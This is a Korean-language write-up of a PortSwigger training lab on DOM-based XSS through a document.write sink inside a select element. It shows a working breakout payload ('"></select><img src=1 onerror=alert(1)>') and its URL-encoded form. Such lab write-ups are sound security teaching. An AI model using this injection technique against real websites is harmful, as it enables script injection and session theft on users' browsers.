[Write-Up] PortSwigger - DOM XSS in Document.write Sink Using Source Location.search Inside a Select Element

목차


문제 분석

난이도: PRACTITIONER
Lab: DOM XSS in document.write sink using source location.search inside a select element

image.png

상품 재고 확인 기능은 location.search에서 storeId를 읽어 document.write()<select> 요소 내부에 새로운 <option>을 만든다. 현재 option과 select 컨텍스트를 탈출해 alert() 함수를 호출하면 문제가 해결된다.

DOM XSS 진단

상품 상세 페이지에서 재고 확인 기능의 JavaScript를 확인한다.

image.png

코드는 URL에서 storeId를 가져와 다음과 같은 HTML 문자열을 생성한다.

<select name="storeId">
    <option selected value="USER_INPUT">USER_INPUT</option>
</select>

/product?productId=1&storeId=xss로 요청하면 드롭다운에 xss가 새로운 option으로 표시된다.

image.png

입력값이 큰따옴표로 감싼 value 속성과 option 본문에 들어가므로, 속성과 요소를 순서대로 닫아 select 바깥의 HTML 컨텍스트로 이동할 수 있다.


익스플로잇

storeId 파라미터에 다음 페이로드를 전달한다.

"></select><img src=1 onerror=alert(1)>

URL에 적용할 때는 다음과 같이 인코딩한다.

/product?productId=1&storeId=%22%3E%3C%2Fselect%3E%3Cimg%20src%3D1%20onerror%3Dalert%281%29%3E

">가 option의 value 속성과 시작 태그를 닫고, </select>가 현재 select 컨텍스트를 끝낸다. 뒤의 img는 일반 HTML 컨텍스트에서 생성되며 잘못된 src로 인해 onerror를 실행한다.

image.png

alert()가 호출되면서 문제가 해결된다.

image.png


정리

document.write()에 입력이 도달한다는 사실만으로 페이로드가 결정되지는 않는다. 이 랩에서는 입력이 <select><option> 안에 있기 때문에 기존 속성과 요소를 모두 닫아야 안정적으로 실행 가능한 요소를 삽입할 수 있다. DOM 트리에서 현재 파싱 컨텍스트를 확인하는 과정이 중요한 이유다.